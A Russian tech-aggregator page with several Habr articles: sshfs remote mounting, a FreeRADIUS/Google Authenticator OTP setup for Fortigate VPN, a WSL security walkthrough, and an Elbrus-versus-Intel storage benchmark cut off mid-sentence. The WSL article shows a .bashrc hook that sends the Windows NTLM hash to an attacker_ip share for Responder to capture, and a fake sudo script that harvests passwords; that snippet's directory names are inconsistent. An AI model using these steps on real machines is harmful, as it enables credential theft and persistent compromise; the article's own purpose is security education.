Русский
Русский
English
Статистика
Реклама

Linux

Перевод Кунг-фу стиля Linux удобная работа с файлами по SSH

26.09.2020 16:11:14 | Автор: admin
Если у вас имеется больше одного Linux-компьютера, то вы, вероятно, постоянно пользуетесь ssh. Это отличный инструмент, но мне всегда казалась в нём странной одна деталь. Несмотря на то, что ssh-соединения позволяют передавать файлы с применением scp и sftp, у нас нет возможности перемещать файлы между локальной и удалённой системой, не запуская программу на локальном хосте, или не подключаясь к локальной машине с удалённой.



Последнее это настоящая проблема, так как к серверам часто подключаются, находясь в это время за файрволом или за NAT-маршрутизатором, то есть, не имея постоянного IP-адреса. В результате сервер, в любом случае, не сможет подключиться к локальной системе, с которой раньше к нему обращались. Если бы в ssh-сессии можно было бы просто взять локальный или удалённый файл и передать его туда, куда нужно, это было бы очень удобно.

Я, на самом деле, не вполне достиг этой цели, но подобрался к её достижению очень близко. В этом материале я расскажу вам о скрипте, который позволяет монтировать удалённые директории на локальном компьютере. На локальной машине надо будет установить sshfs, но на удалённой, на которую вы, возможно, не можете устанавливать программы, ничего менять не придётся. Если же потратить на настройку систем некоторое время, и если на клиентском компьютере имеется работающий ssh-сервер, то можно будет ещё и монтировать локальные директории на удалённых системах. При этом не придётся беспокоиться о блокировке IP-адресов или портов. Фактически, если вы способны подключиться к удалённой машине, это означает, что вам удастся и то, о чём я хочу рассказать.

В результате, если это всё скомбинировать, оказывается, что я очень близок к цели. Я могу работать с командной оболочкой на клиенте или на сервере и имею возможность удобно читать и записывать файлы на обеих сторонах соединения. Для этого нужно лишь всё правильно настроить.

Нет ли тут подвоха?


Возможно, вы решите, что тут кроется какой-то подвох. Ведь речь, фактически, идёт об использовании двух ssh-соединений. Одно применяется для монтирования файловой системы, а другое для входа на компьютер. И это, на самом деле, так и есть. Но если правильно настроить ssh, то аутентификацию нужно будет выполнять лишь один раз, не тратя слишком много времени на организацию двух подключений.

Кроме того, работу значительно облегчает скрипт, о котором я расскажу. Он скрывает от пользователя детали, поэтому процедура подключения выглядит (почти) как обычно, а после этого всё работает как надо.

Пара слов о sshfs


Утилита sshfs даёт возможность работать с файловой системой в пользовательском пространстве (filesystem in userspace, FUSE). То есть, речь идёт о том, что в пользовательском пространстве имеется слой, находящийся поверх базовой файловой системы. В данном случае такой файловой системой является ssh-сервер, поддерживающий sftp. Это позволяет работать с файлами, находящимися на удалённой системе, воспринимая их так, будто они находятся в реальной файловой системе на локальном компьютере. Если вы ещё не пробовали sshfs попробуйте. Работает эта утилита очень хорошо.

Предположим, вы вошли на компьютер myserver и выполнили с локальной машины следующую команду:

sshfs myserver:/home/admin ~/mounts/myserver

Это приведёт к тому, что директория удалённого компьютера /home/admin будет доступна в локальной системе по пути ~/mounts/myserver.

При использовании sshfs можно пользоваться различными опциями. Например, можно сделать так, чтобы после потери соединения осуществлялось бы повторное подключение. Подробности о sshfs ищите в справке.

Так как sshfs использует удалённо смонтированную версию файла, то все изменения, внесённые в файл, сохраняются на удалённой машине. А после того, как sshfs-соединение закрывают, на локальной компьютере ничего не остаётся. Сейчас мы это исправим.

Предварительная подготовка


Прежде чем я перейду к описанию скрипта, о котором было упомянуто выше, хочу рассказать о некоторых настройках клиента, которые вы, если хотите, можете доработать под себя. Так, тут я создаю директорию ~/remote, а в ней создаю поддиректории для каждого удалённого компьютера. Например это могут быть директории ~/remote/fileserver и ~/remote/lab.

Скрипт называется sshmount. Он принимает те же аргументы, что и ssh. Для упрощения работы со скриптом сведения об удалённом хосте стоит хранить в файле ~/.ssh/config, что позволит пользоваться простыми и короткими именами хостов. Например, сведения о компьютере lab могут выглядеть так:

Host labHostname lab.wd5gnr-dyn.netPort 444User alwForwardX11 yesForwardX11Trusted yesTCPKeepAlive yesCompression yesControlMaster autoControlPath ~/.ssh/master-%r@%h:%p

На самом деле, острой необходимости в этом нет, но при таком подходе в вашем распоряжении будет приятно выглядящая директория ~/remote/lab, а не сложная конструкция вида ~/remote/alw@lab.wd5gnr-dyn.net:444. Во всех этих параметрах нет ничего таинственного. Единственно, хочу обратить ваше внимание на то, что ControlMaster и ControlPath позволяют организовать более быструю работу с соединениями, что, в нашем случае, очень важно.

Кроме того, можно организовать автоматическое подключение к удалённой системе с использованием сертификата. Вот материал об этом.

Скрипт


Наш скрипт можно использовать двумя способами. Так, если его вызывают через ссылку к sshunmount, то он размонтирует файловую систему, связанную с указанным удалённым хостом. Если его вызывают иначе (обычно как sshmount), то он выполняет следующие три действия:

  1. Он проверяет, есть ли в директории ~/remote поддиректория, имя которой совпадает с именем хоста (например lab). Если такой директории нет он выводит сообщение об ошибке и продолжает работу.
  2. Если такая директория существует скрипт просматривает список смонтированных файловых систем на тот случай, если нужная файловая система уже смонтирована. Если это так он продолжает работу.
  3. Если директория не смонтирована он вызывает sshfs и продолжает работу.

Этот скрипт можно найти на GitHub. А вот его код, из которого убраны некоторые комментарии:

#!/bin/bashif [ "$1" == "" ]thenecho Usage: sshmount host [ssh_options] - Mount remote home folder on ~/remote/host and log inecho or: sshunmount host - Remove mount from ~/remote/hostexit 1fi# Если вызван как sshunmount...if [ $(basename "$0") == sshunmount ]thenecho Unmounting... 1>&2fusermount -u "$HOME/remote/$1"exit $?fi# Обычный вызов...if [ -d "$HOME/remote/$1" ] # Существует ли директория?thenif mount | grep "$HOME/remote/$1 " # Файловая система уже смонтирована?thenecho Already mounted 1>&2elsesshfs -o reconnect $1: $HOME/remote/$1 # mountfielseecho No remote directory ~/remote/$1 exists 1>&2fissh $@ # выполнить вход

Этот скрипт даёт мне половину того, что мне нужно. А именно, позволяет удобно работать с удалёнными файлами на локальном компьютере, к которому я подключён. Но сделать так, чтобы с удалённого компьютера можно было бы работать с файлами, расположенными на локальной машине, немного сложнее.

Решаем обратную задачу


Если вы хотите поэкспериментировать с монтированием на сервере папок, находящихся на локальной машине, то нужно будет, чтобы на локальной машине работал бы ssh-сервер. Конечно, если ваш локальный компьютер видим и доступен серверу, то это просто: достаточно запустить на удалённом компьютере sshfs и смонтировать на нём папку с локального компьютера. Но во многих случаях у нас нет доступа к локальной системе, которая может быть расположена за файрволами или маршрутизаторами. Особенно это актуально в том случае, если роль локальной системы выполняет ноутбук, который может подключаться к сети из разных мест.

Но нашу задачу, несмотря на все эти сложности, всё же, можно решить. Её решение состоит из двух частей.

Во-первых надо, при вызове sshmount, указать дополнительный аргумент (файл можно отредактировать в том случае, если вам нужно будет постоянно выполнять подобную команду):

sshmount MyServer -R 5555:localhost:22

Во-вторых после подключения к хосту нужно выполнить такую команду:

sshfs -p 5555 localhost:/home/me ~/local

Благодаря опции -R на удалённой машине создаётся сокет на порте 5555 (который, естественно, должен быть свободным) и осуществляется его связь с портом 22 локальной машины. Если исходить из предположения о том, что ssh-сервер работает на порте 22, то это позволит серверу подключиться к локальной машине по тому же соединению. Ему не нужно знать наш IP-адрес или иметь открытый порт.

Команда sshfs, которую можно выполнять при запуске системы, связывает локальную директорию /home/me с директорией ~/local удалённого сервера. Если, вдобавок, войти в систему локально, то можно будет взглянуть на переменные окружения, имена которых начинаются с SSH_, и узнать подробности о SSH-соединении. Например, это переменные $SSH_CLIENT и $SSH_TTY.

Конечно, вам, чтобы вышеприведённые команды заработали бы у вас, нужно будет поменять имена хостов и директорий, а так же адреса портов на те, которые используются в ваших системах. Но после того, как всё будет настроено, все нужные вам файлы будут доступны и на локальной, и на удалённой машинах. Я, кстати, не пытался организовать циклическое монтирование директорий. Если попытаться это сделать может получиться нечто очень странное.

Итоги


Полагаю, нужно с осторожностью выполнять одновременное монтирование удалённых папок на локальной машине и локальных папок на удалённой машине. Например, утилиты, занимающиеся сканированием всей файловой системы, могут в таких конфигурациях запутаться. Кроме того, я всё ещё ищу ответ на вопрос о том, как правильно отключаться от серверной файловой системы при выходе из последней сессии.

Но и сейчас всё это даёт нам хорошие инструменты для организации удобной и надёжной работы с файлами по ssh. Надо отметить, что ещё одним вариантом решения задачи по работе с файлами удалённых систем может стать синхронизация папок и использование их для передачи файлов между компьютерами.

Чем вы пользуетесь для работы с файлами удалённых Linux-систем?



Подробнее..

Freeradius Google Autheticator LDAP Fortigate

05.09.2020 02:04:29 | Автор: admin
Как быть, если двухфакторной аутентификации и хочется, и колется, а денег на аппаратные токены нет и вообще предлагают держаться и хорошего настроения.
Данное решение не является чем-то супероригинальным, скорее микс из разных решений, найденных на просторах интернета.

Итак, дано:


Домен Active Directory.
Пользователи домена, работающие через VPN, как многие нынче.
В роли шлюза VPN выступает Fortigate.
Сохранение пароля для VPN-клиента запрещено политикой безопасности.
Политику Fortinet в отношении собственных токенов менее чем жлобской не назовешь бесплатных токенов аж 10 единиц, остальные по очень некошерной цене. RSASecureID, Duo и им подобные не рассматривал, поскольку хочется опенсорса.

Предварительные требования: хост *nix с установленным freeradius, sssd введен в домен, доменные пользователи могут спокойно на нем аутентифицироваться.
Дополнительные пакеты: shellinabox, figlet, freeeradius-ldap, шрифт rebel.tlf с репозитория https://github.com/xero/figlet-fonts.

В моем примере CentOS 7.8.
Логика работы предполагается такая: при подключении к VPN пользователь должен ввести доменный логин и OTP вместо пароля.

Настройка сервисов:


В /etc/raddb/radiusd.conf меняется только пользователь и группа, от имени которых стартует freeradius, так как сервис radiusd должен уметь читать файлы во всех поддиректориях /home/.

user = rootgroup = root

Чтобы можно было использовать группы в настройках Fortigate, нужно передавать Vendor Specific Attribute. Для этого в директории raddb/policy.d создаю файл со следующим содержимым:

group_authorization {    if (&LDAP-Group[*] == "CN=vpn_admins,OU=vpn-groups,DC=domain,DC=local") {            update reply {                &Fortinet-Group-Name = "vpn_admins" }            update control {                &Auth-Type := PAM                &Reply-Message := "Welcome Admin"                }        }    else {        update reply {        &Reply-Message := "Not authorized for vpn"            }        reject        }}

После установки freeradius-ldap в директории raddb/mods-available создается файл ldap.
Нужно создать символьную ссылку в каталог raddb/mods-enabled.

ln -s /etc/raddb/mods-available/ldap /etc/raddb/mods-enabled/ldap

Привожу его содержимое к такому виду:

ldap {        server = 'domain.local'        identity = 'CN=freerad_user,OU=users,DC=domain,DC=local'        password = "SupeSecretP@ssword"        base_dn = 'dc=domain,dc=local'        sasl {        }        user {                base_dn = "${..base_dn}"                filter = "(sAMAccountname=%{%{Stripped-User-Name}:-%{User-Name}})"                sasl {                }                scope = 'sub'        }        group {                base_dn = "${..base_dn}"                filter = '(objectClass=Group)'                scope = 'sub'                name_attribute = cn                membership_filter = "(|(member=%{control:Ldap-UserDn})(memberUid=%{%{Stripped-User-Name}:-%{User-Name}}))"                membership_attribute = 'memberOf'        }}

В файлах raddb/sites-enabled/default и raddb/sites-enabled/inner-tunnel в секции authorize дописываю имя политики, которая будет использоваться group_authorization. Важный момент имя политики определяется не названием файла в директории policy.d, а директивой внутри файла перед фигурными скобками.
В секции authenticate в этих же файлах нужно раскомментировать строку pam.
В файле clients.conf прописываем параметры, с которыми будет подключаться Fortigate:

client fortigate {    ipaddr = 192.168.1.200    secret = testing123    require_message_authenticator = no    nas_type = other}

Конфигурация модуля pam.d/radiusd:

#%PAM-1.0auth       sufficient   pam_google_authenticator.soauth       include      password-authaccount    required     pam_nologin.soaccount    include      password-authpassword   include      password-authsession    include      password-auth

Дефолтные варианты внедрения связки freeradius с google authenticator предполагают ввод пользователем учетных данных в формате: username/password+OTP.

Представив количество проклятий, которое посыпется на голову, в случае использования дефолтной связки freeradius с Google Authenticator, было принято решение использовать конфигурацию модуля pam так, чтобы проверять только лишь токен Google Authenticator.
При подключении пользователя происходит следующее:

  • Freeradius проверяет наличие пользователя в домене и в определенной группе и, в случае успеха, производится проверка OTP токена.

Все выглядело достаточно удачно до момента, пока я не задумался А как же произвести регистрацию OTP для 300+ пользователей?
Пользователь должен залогиниться на сервер с freeradius и из-под своей учетной записи и запустить приложение Google authenticator, которое и сгенерирует для пользователя QR-код для приложения. Вот тут на помощь и приходит shellinabox в комбинации с .bash_profile.

[root@freeradius ~]# yum install -y shellinabox

Конфигурационный файл демона находится в /etc/sysconfig/shellinabox.
Указываю там порт 443 и можно указать свой сертификат.

[root@freeradius ~]#systemctl enable --now shellinaboxd

Пользователю остается лишь зайти по ссылке, ввести доменные креды и получить QR-код для приложения.

Алгоритм следующий:
  • Пользователь логинится на машину через браузер.
  • Проверяется доменный ли пользователь. Если нет, то никаких действий не предпринимается.
  • Если пользователь доменный, проверяется принадлежность к группе администраторов.
  • Если не админ, проверяется настроен ли Google Autheticator. Если нет, то генерируется QR-код и logout пользователя.
  • Если не админ и Google Authenticator настроен, то просто logout.
  • Если админ, то опять проверка Google Authenticator. Если не настроен, то генерируется QR-код.

Вся логика выполняется с использованием /etc/skel/.bash_profile.

cat /etc/skel/.bash_profile
# .bash_profile# Get the aliases and functionsif [ -f ~/.bashrc ]; then        . ~/.bashrcfi# User specific environment and startup programs# Make several commands available from user shellif [[ -z $(id $USER | grep "admins") || -z $(cat /etc/passwd | grep $USER) ]]  then    [[ ! -d $HOME/bin ]] && mkdir $HOME/bin    [[ ! -f $HOME/bin/id ]] && ln -s /usr/bin/id $HOME/bin/id    [[ ! -f $HOME/bin/google-auth ]] && ln -s /usr/bin/google-authenticator $HOME/bin/google-auth    [[ ! -f $HOME/bin/grep ]] && ln -s /usr/bin/grep $HOME/bin/grep    [[ ! -f $HOME/bin/figlet ]] && ln -s /usr/bin/figlet $HOME/bin/figlet    [[ ! -f $HOME/bin/rebel.tlf ]] && ln -s /usr/share/figlet/rebel.tlf $HOME/bin/rebel.tlf    [[ ! -f $HOME/bin/sleep ]] && ln -s /usr/bin/sleep $HOME/bin/sleep  # Set PATH env to <home user directory>/bin    PATH=$HOME/bin    export PATH  else    PATH=PATH=$PATH:$HOME/.local/bin:$HOME/bin    export PATHfiif [[ -n $(id $USER | grep "domain users") ]]  then    if [[ ! -e $HOME/.google_authenticator ]]      then        if [[ -n $(id $USER | grep "admins") ]]          then            figlet -t -f $HOME/bin/rebel.tlf "Welcome to Company GAuth setup portal"            sleep 1.5            echo "Please, run any of these software on your device, where you would like to setup OTP:Google Autheticator:AppStore - https://apps.apple.com/us/app/google-authenticator/id388497605Play Market - https://play.google.com/stor/apps/details?id=com.google.android.apps.authenticator2&hl=enFreeOTP:AppStore - https://apps.apple.com/us/app/freeotp-authenticator/id872559395Play Market - https://play.google.com/store/apps/details?id=org.fedorahosted.freeotp&hl=enAnd prepare to scan QR code."            sleep 5            google-auth -f -t -w 3 -r 3 -R 30 -d -e 1            echo "Congratulations, now you can use an OTP token from application as a password connecting to VPN."          else            figlet -t -f $HOME/bin/rebel.tlf "Welcome to Company GAuth setup portal"            sleep 1.5            echo "Please, run any of these software on your device, where you would like to setup OTP:Google Autheticator:AppStore - https://apps.apple.com/us/app/google-authenticator/id388497605Play Market - https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=enFreeOTP:AppStore - https://apps.apple.com/us/app/freeotp-authenticator/id872559395Play Market - https://play.google.com/store/apps/details?id=org.fedorahosted.freeotp&hl=enAnd prepare to scan QR code."            sleep 5            google-auth -f -t -w 3 -r 3 -R 30 -d -e 1            echo "Congratulations, now you can use an OTP token from application as a password to VPN."            logout        fi      else        echo "You have already setup a Google Authenticator"        if [[ -z $(id $USER | grep "admins") ]]          then          logout        fi    fi  else    echo "You don't need to set up a Google Authenticator"fi


Настройка Fortigate:


  • Создаем Radius-сервер

  • Создаем необходимые группы, в случае необходимости разграничения доступа по группам. Имя группы на Fortigate должно соответствовать группе, которая передается в Vendor Specific Attribute Fortinet-Group-Name.

  • Редактируем необходимые SSL-порталы.

  • Добавляем группы в политики.



Плюсы данного решения:
  • Есть возможность аутентификации по OTP на Fortigate опенсорс решением.
  • Исключается ввод доменного пароля пользователем при подключении по VPN, что несколько упрощает процесс подключения. 6-цифровой пароль ввести проще, чем тот, который предусмотрен политикой безопасности. Как следствие, уменьшается количество тикетов с темой: Не могу подключиться к VPN.


P.S. В планах докрутить это решение до полноценной 2-хфакторной авторизации с challenge-response.
Подробнее..

WSL эксперименты. Часть 1

14.09.2020 16:14:47 | Автор: admin
Привет, хабр! В октябре OTUS запускает новый поток курса Безопасность Linux. В преддверии старта курса делимся с вами статьёй, которую написал один из наших преподавателей Александр Колесников.



В 2016 году компания Microsoft представила IT сообществу новую технологию WSL (Windows Subsystem for Linux), в перспективе позволявшую объединить до этого непримиримых конкурентов, которые сражались за популярность как среди рядовых, так и продвинутых пользователей ОС: Windows и Linux. Данная технология предоставляла возможность использовать инструменты ОС Linux в окружении Windows без необходимости запуска Linux, к примеру, с помощью мультизагрузки (Multi-boot). На Habr вы можете обнаружить большое количество статей, описывающих преимущества использования WSL. Однако, к сожалению, на момент создания статьи на данном ресурсе не было обнаружено исследований безопасности такого симбиоза операционных систем. Настоящий пост станет попыткой это исправить. В статье будет рассказано об особенностях архитектур WSL 1 и 2, разобрано несколько примеров атак на системы, использующие данные технологии. Статья разбита на 2 части. В первой будут предоставлены основные теоретические методы атак со стороны Linux и Windows. Вторая статья будет включать в себя настройку тестовой среды и воспроизведение атак.

WSL 1: особенности архитектуры


Для наиболее точного погружения в проблемы безопасности WSL необходимо определить основные нюансы, связанные с имплементацией подсистемы. Одной из главных пользовательских задач, решаемых WSL, является предоставление возможности работы через терминал Linux систем на хосте с ОС Windows. Также предложенная совместимость была настолько нативной, что исполняемые файлы Linux (ELF) могли быть запущены прямо в системе Windows. Для достижения этих целей в Windows 10 была создана специальная подсистема, позволяющая запускать приложения Linux с помощью набора определённых системных вызовов таким образом, была предпринята попытка маппинга набора syscall-ов Linux на Windows. Физически это было реализовано путем добавления новых драйверов и нового формата процесса. Визуально архитектура выглядела вот так:



По сути, взаимодействие с операционной системой Linux было организовано посредством нескольких ядерных модулей и специального вида процессов pico. Из схемы выше видно, что процесс, запущенный в инстанс Linux на хосте, должен быть нативным и должен использовать те же ресурсы, что и обычные приложения Windows. Но как этого достичь? В проекте Drawbridge были разработаны концепты процессов для Windows, которые предоставляли все необходимые компоненты операционной системы (в зависимости от ее версии) для запуска приложения другой ОС.

Заметим, что предложенная абстракция позволяла не ориентироваться на операционную систему (в частности Windows), в которой ожидается запуск процесса другой ОС, и предлагала общий подход.


Таким образом, любое приложение внутри pico процесса могло работать без оглядки на ядро Windows:

  1. Проблемы совместимости и трансляции системных вызовов должны решать специальные провайдеры;
  2. Разграничение доступа должно производиться через Монитор безопасности. Монитор располагается в ядре и поэтому Windows был необходим апгрейд в виде нового драйвера, который мог бы выступать в качестве провайдера для таких процессов. Прототип pico процесса схематично представлен ниже:




Поскольку файловая система Linux использует регистрозависимые названия файлов и директорий, в Windows были добавлены 2 типа файловых систем для работы с WSL VolFS и DriveFS. VolFS имплементация файловой системы Linux, DriveFS файловая система, которая работает по правилам Windows, но имеет возможность выбора чувствительности к регистру имен.

WSL 2


WSL 1 имела ряд ограничений, не позволявших использовать ее для решения максимального спектра задач: к примеру, в ней отсутствовала возможность запуска 32-битных Linux приложений, нельзя было использовать device драйвера. Поэтому в 2020 году была выпущена WSL 2, которая сменила подход к построению подсистемы. WSL 2 это оптимизированная виртуальная машина, которая соответствует характеристикам WSL 1 по потреблению ресурсов. Теперь, в зависимости от проблем, решаемых пользователем ОС Windows, можно выбирать необходимую версию подсистемы работы с Linux. Для митигации возможных уязвимостей WSL 2 была реализована на базе Hyper-V в Windows 10. В этом виде Windows имеет возможность изолированно запускать ядро операционной системы Linux. Стоит помнить, что версия 1 WSL была представлена как бета фича, которая должна была показать вектор развития Windows в этой области, поэтому переход на Hyper-V был неизбежен. Итоговая архитектура выглядит так:



В этой версии у ядер систем Windows и Linux есть свои собственные ресурсы и пересечение существует только в файловой системе, однако это пересечение нельзя назвать полным. Взаимодействие между файловыми системами проводится за счет клиент-серверной обертки, которая работает по протоколу 9P.

На сегодняшний день Microsoft предоставляет возможность переключения между WSL 1 и WSL 2. Обе версии доступны для использования.

Безопасность WSL


На данный момент существуют несколько работ, описывающих некоторые подходы к использованию легитимных инструментов ОС для атаки на взаимодействие между подсистемами. Мы будем использовать их сценарии для проверки актуальности атак на момент написания статьи. Общий перечень атак и сценарии проведения:

1. Имплементация файловой системы: права доступа, наличие общих директорий/механизмов обмена данными.

Исследования проводились на предмет нарушения правил доступа из Linux FS->Windows FS, Windows FS->Linux FS. Исследования демонстрировали возможность модификации заданного файла внутри целевой ОС. Так же были проведены попытки подмены, создания двойников и удаления части файловых систем.

Сценарий:

  • A. Атака из операционной системы Windows модификация файлов из директории /etc ОС Linux.
  • B. Атака из операционной системы Linux модификация файлов в директориях: C:\Windows, C:\Program Files, C:\Users\<User>


2. Имплементация сетевого стека.

Исследования проводились на примерах атак со стороны операционной системы Linux на Windows. Использовались особенности работы сетевого стека, а именно механизмы аутентификации на различных ресурсах.

Сценарий:

  • Открытие доступа к порту, который занят в системе Windows
  • Открытие порта при отсутствии соответствующих прав
  • Запуск reverse shell с использованием elf файла в операционной системе Windows.


3. Сокрытие запуска процессов вредоносного программного обеспечения за счет подсистемы WSL.

Исследования базировались на простом факте подсистемы защиты не могут проводить перехват событий в другом ядре, которое работает с использованием легитимного провайдера со стороны операционной системы в случае с WSL 1. В случае с WSL 2 нет возможности просмотреть события, которые происходят в отдельном ядре в рамках легкой виртуальной машины.

Сценарий:

1) Запуск приложения для удаленного доступа в систему и просмотр регистрируемых событий.

WSL 1 эксперименты: перехват хэша (ОС Windows)



Наконец-то мы добрались до практической части. Для начала необходимо настроить окружение для тестов. Все эксперименты будут проводиться на стенде с установленным Windows 10 2004. В качестве образа операционной системы для WSL был выбран образ Ubuntu 18.04. Образ был выбран случайно, и любой другой будет работать так же. Команды для настройки стенда:

Предварительно нужно запустить powershell.exe от имени администратора.

Для WSL 1 необходимо выполнить команды:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
  • Ubuntu.appx install root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим


  • После перезагрузки стенда можно вызвать команду bash. Если все верно сработало, то вы увидите примерно такой вывод в консоли Windows:



    В качестве машины атакующего будем использовать дистрибутив Kali Linux, все машины должны находиться в одной локальной сети.

    Предположим, что у нас есть непривелигированный доступ к WSL на машине Windows. Попробуем провести атаку на операционную систему Linux, вызвав команду из Linux. Для реализации атаки воспользуемся простой техникой автозапуска добавим наш скрипт для выполнения в среде Linux. Для этого нужно изменить файл .bashrc.

    На машине c WSL выполняем:
    1. bash2. Переходим в домашнюю директорию пользователя: cd /home/sam/2. echo  /home/sam/.attack.sh >> .bashrc3. echo icalcs.exe \ \\\\\\\\attacker_ip\\\\shareName\\\\\ > /dev/null 2>&1 >> .attack.sh4. chmod u+x .attack.sh5. exit
    


    На машине Kali Linux выполняем:

    1. Responder -I eth0 -rdvw
    


    На машине Windows запустим bash.
    Ждем результат на машине Kali Linux:



    Таким образом, мы получили хэши пользователя Windows через подсистему WSL, выполнив команду на системе Linux.

    WSL 1 эксперименты: получение пароля пользователя (ОС Linux)



    Проведем еще один эксперимент. В ходе этой проверки мы дополним файл .bashrc несколькими командами для того, чтобы получить пароль пользователя операционной системы Linux.

    Запустим bash и введем команды:

    1. mkdir .hidden2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo4. echo "echo \"\"" >> .mysudo/sudo5. echo "sleep 2" >> .mysudo/sudo6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt >> .mysudo/sudo8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo9. chmod +x .mysudo/sudo10. exit
    


    Для успешного завершения атаки необходимо, чтобы пользователь Sam вызвал sudo в терминале Linux. После этого пароль пользователя ОС Linux окажется в файле pass.txt:



    Реализация атак была приведена только для теоретического ознакомления.

    В следующей части статьи будет описана реализация протокола 9P, рассмотрено создание сканера для этого протокола, а также проведена атака с его помощью.

    Список использованной литературы:





    Читать ещё:


Подробнее..

Эльбрус VS Intel. Сравниваем производительность систем хранения Аэродиск Восток и Engine

28.09.2020 06:06:32 | Автор: admin


Всем привет. Мы продолжаем знакомить вас с системой хранения данных Аэродиск ВОСТОК, выполненной на базе российского процессора Эльбрус 8C.


В этой статье мы (как и обещали) детально разберем одну из популярнейших и интереснейших тем, связанной с Эльбрусами, а именно производительность. На тему производительности Эльбруса есть достаточно много спекуляций, причем абсолютно полярных. Пессимисты говорят, что производительность Эльбруса сейчас никакая, и чтобы догнать топовых производителей потребуются десятилетия (т.е. в условиях нынешней реальности никогда). С другой стороны, оптимисты говорят, что уже сейчас Эльбрус 8C показывает хорошие результаты, а в ближайшие пару лет с выходом новых версий процессоров (Эльбрус 16С и 32С) мы сможем догнать и перегнать ведущих мировых производителей процессоров.


Мы в Аэродиске люди практичные, поэтому пошли самым простым и понятным (для нас) путем: протестировать, зафиксировать результаты и только потом делать выводы. В итоге мы провели довольно большое количество тестов и обнаружили ряд особенностей работы Эльбруса 8С архитектуры e2k (в том числе, и приятных) и, конечно же, сравнили это с аналогичными СХД на процессорах Intel Xeon архитектуры amd64.


Кстати, более подробно о тестах, результатах и о будущем развитии СХД на Эльбрусах мы поговорим на нашем очередном вебинаре "ОколоИТ" 15.10.2020 в 15 00. Зарегистрироваться можно по ссылке ниже.


РЕГИСТРАЦИЯ НА ВЕБИНАР


Тестовый стенд


Мы создали два стенда. Оба стенда состоят из сервера с Linux-ом, подключенного через 16G FC-коммутаторы к двум котроллерам СХД, в которой установлено 12 SAS SSD 960 ГБ дисков (11,5 ТБ сырой емкости или 5,7 ТБ полезной емкости, если используем RAID-10).


Схематично стенд выглядит следующим образом.



Стенд 1 e2k (Эльбрус)


Конфигурация оборудования следующая:


  • Linux-сервер (2xIntel Xeon E5-2603 v4 (6 cores, 1,70Ghz), 64 GB DDR4, 2xFC-адаптер 16G 2 порта) 1шт.
  • Коммутатор FC 16 G 2 шт.
  • СХД Аэродиск Восток 2-Э12 (2xЭльбрус 8С (8 cores, 1,20Ghz), 32 GB DDR3, 2xFE FC-adaptor 16G 2 port, 12xSAS SSD 960 GB) 1 шт

Стенд 2 amd64 (Intel)


Для сравнения с аналогичной конфигурации на e2k использовалась похожая конфигурация СХД с похожим процессором по характеристикам на amd64:


  • Linux-сервер (2xIntel Xeon E5-2603 v4 (6 cores, 1,70Ghz), 64 GB DDR4, 2xFC-адаптер 16G 2 порта) 1шт.
  • Коммутатор FC 16 G 2 шт.
  • СХД Aerodisk Engine N2 (2xIntel Xeon E5-2603 v4 (6 cores, 1,70Ghz), 32 GB DDR4, 2xFE FC-adaptor 16G 2 port, 12xSAS SSD 960 GB) 1 шт

Важное замечание: используемые в тесте процессоры Эльбрус 8С поддерживают оперативную память только DDR3, это конечно плохо, но не долго. Эльбрус 8СВ (в наличие его у нас пока нет, но скоро будет) поддерживает DDR4.


Методика тестирования


Для генерации нагрузки мы использовали популярную и проверенную временем программу Flexible IO (FIO).


Обе СХД сконфигурированы согласно нашим же рекомендациям по настройке, исходя из требований к высокой производительности на блочном доступе, поэтому используем дисковые пулы DDP (Dynamic Disk Pool). Чтобы не искажать результаты тестирования, на обеих СХД отключаем, компрессию, дедупликацию и RAM-кэш.


Созданы 8 D-LUN-ов в RAID-10 по 500 ГБ, каждый, суммарный полезный объём составляет 4 ТБ (т.е. примерно 70% от возможной полезной емкости данной конфигурации).


Выполняться будут основные и популярные сценарии использования СХД, в частности:


первые два теста эмулируют работу транзакционной СУБД. В этой группе тестов нам интересны IOPS-ы и задержка.


1) Случайное чтение маленькими блоками 4k
a. Размер блока = 4k
b. Чтение/запись = 100%/0%
c. Количество работ = 8
d. Глубина очереди = 32
e. Характер нагрузки = Full Random


2) Случайная запись маленькими блоками 4k
a. Размер блока = 4k
b. Чтение/запись = 0%/100%
c. Количество работ = 8
d. Глубина очереди = 32
e. Характер нагрузки = Full Random


вторые два теста эмулируют работу аналитической части СУБД. В этой группе тестов нам также интересны IOPS-ы и задержка.


3) Последовательное чтение маленькими блоками 4k
a. Размер блока = 4k
b. Чтение/запись = 100%/0%
c. Количество работ = 8
d. Глубина очереди = 32
e. Характер нагрузки = Sequential


4) Последовательная запись маленькими блоками 4k
a. Размер блока = 4k
b. Чтение/запись = 0%/100%
c. Количество работ = 8
d. Глубина очереди = 32
e. Характер нагрузки = Sequential


третья группа тестов эмулирует работу потокового чтения (пример онлайн трансляции, восстановление резервных копий) и потоковой записи (пример видеонаблюдение, запись резервных копий). В этой группе тестов нам уже интересны не IOPS-ы, а MB/s и также задержка.


5) Последовательное чтение большими блоками 128k
a. Размер блока = 128k
b. Чтение/запись = 0%/100%
c. Количество работ = 8
d. Глубина очереди = 32
e. Характер нагрузки = Sequential


6) Последовательная запись большими блоками 128k
a. Размер блока = 128k
b. Чтение/запись = 0%/100%
c. Количество работ = 8
d. Глубина очереди = 32
e. Характер нагрузки = Sequential


Каждый тест будет длиться один час без учета времени прогрева массива в 7 минут.


Результаты тестов


Результаты тестов сведены в две таблицы.


Эльбрус 8С (СХД Аэродиск Восток 2-Э12)



Intel Xeon E5-2603 v4 (СХД Аэродиск Engine N2)



Результаты получились крайне интересные. В обоих случаях мы хорошо утилизировали процессорные мощности СХД (70-90% утилизации), и при таком раскладе явно бросаются в глаза плюсы и минусы обоих процессоров.


В обеих таблицах зеленым цветом выделены тесты, где процессоры чувствуют себя уверенно и показывают хорошие результаты, ну а оранжевым цветом выделены ситуации, которые процессоры не любят.


Если говорить о случайной нагрузке небольшими блоками, то:


